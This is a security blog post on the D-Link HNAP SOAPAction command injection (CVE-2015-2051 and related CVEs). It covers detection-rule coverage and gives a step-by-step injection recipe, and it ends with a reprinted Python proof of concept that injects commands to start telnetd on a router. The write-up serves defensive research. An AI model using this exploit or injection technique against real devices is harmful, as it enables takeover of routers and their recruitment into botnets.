D-Link HNAP (Home Network Administration Protocol) Command Injection
CVE-2015-2051, 2019-10891, 2022-37056, and 2024-33112
Happy New Year! Time to kick off with… more IoT vulnerabilities. I was surfing Mastodon today, looking for something to do, and I came across this blog post by Fortinet about the Mirai botnet variant “FICORA”, and the Kaiten botnet variant, “CAPSAICIN”.
What is HNAP?
The TL;DR of the Fortinet blog post is that these botnets are exploiting a vulnerability in the HNAP protocol in a range of D-Link Products that have spanned, as of now, about a decade. But before we go much further into this, what is HNAP? As mentioned above in the title, it stands for Home Network Administration Protocol. Near as I can tell, it was supposed to be a programmatic way to administer Home/SOHO devices using SOAP (HTTP Simple Object Access Protocol) to define what settings are being poked and prodded and where. Supposedly the protocol was developed by a Seattle tech company Pure Networks, Inc. Then Cisco acquired them, and the rights to the HNAP protocol.
Source 1: RDK Wiki
Source 2: Wikipedia
Source 3: Cisco PDF I had to pull off of archive.org
Vulnerability Details
On by default… whether you like it or not.
Before I get into the meat of the vulnerabilities plaguing D-Link devices right now, there were some… poorly thought out design choices that deviate from the spec that enabled these vulnerabilities to be come a decade-long plague on the internet (so far).
First and foremost, the biggest problem with this protocol is that in most of the IoT devices that feature it, and are actively being exploited by IoT botnets, its turned on by default. In some cases, it can be turned off, in other cases, there may be firmware updates that got pushed before the vendor EOL’d it (but unless the firmware was pushed automatically, you can’t really rely on the user community to actively update the firmware of their devices), or in the worst-case scenario, it can’t be turned off at all
HNAP Shouldn’t be reachable from the Internet
According to the both the Cisco PDF above, and the RDK wiki, the protocol was meant to be used within internal networks. It was never meant to be internet facing. So, in addition to not being able to turn it off, the API should have never been reachable from the internet, regardless of the admin interface being internet-facing – at least, not without a separate checkbox/config setting on the admin interface that would actively ask:
Hey, do you want to enable HNAP API access on the WAN interface? (This is a very bad idea)
Triggering The Vulnerability
The attacker creates an HTTP request in which the target URI is /HNAP1/
, in accordance with the spec. In that HTTP request, all that needs to be done is to include an HTTP header SOAPAction
and have it begin with the value: "http://purenetworks.com/HNAP1/GetDeviceSettings/
, drop backtick (\x60) or a semicolon (;), then whatever command your heart desires. This image from the fortinet blog demonstrates a chain of commands injected into the SOAPAction header that ultimately results in executing a payload that adds it to an IoT botnet:
And there you have it, RCE.
Emerging Threats Coverage
Check out sid 2034491 - D-Link HNAP SOAPAction Command Injection (CVE-2015-2051). The rule name calls out CVE-2015-2051, as its the first vulnerability of this type, but I’ve taken the liberty of updating the metadata for the rule to reflect that it covers the other CVEs listed in this blog post as well – 2019-10891, 2022-37056, and 2024-33112 and proving that was a bit of a chore. The rule has also been slightly modified to where it will trigger on both HTTP GET
and POST
requests instead of just GET
requests previously.
The new version of the rule should be available tonight (1/2/2025) in the ETOPEN (and PRO) rulesets. Enjoy! With that covered, let’s talk about how much of a pain it was to find proof of concepts for these vulnerabilities.
POC Archeology
2015-2051 was old enough to where it was easily found in exploitdb, as cited in the rule reference.
I was able to find an entry on vuldb that claims the proof of concept for CVE 2019-10891, the only difference between 2015-2051, and 2019-10891, is that the 2019 CVE seems to trigger on a POST
request, instead of a GET
request.
For CVE 2022-37056, I had to follow a google drive link from NIST to a PDF.
Last but not least, 2024-33112, NIST included a link to a github repo that’s dead, but thankfully archive.org managed to snag it.
Here is the proof of concept from that repo, if for some reason the archive can no longer serve it:
import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.0.1\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/" + ';echo "success" > mytest.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.1", 80))
s.send(buf)
I hope this has been eye opening.
Happy Hunting,
Tony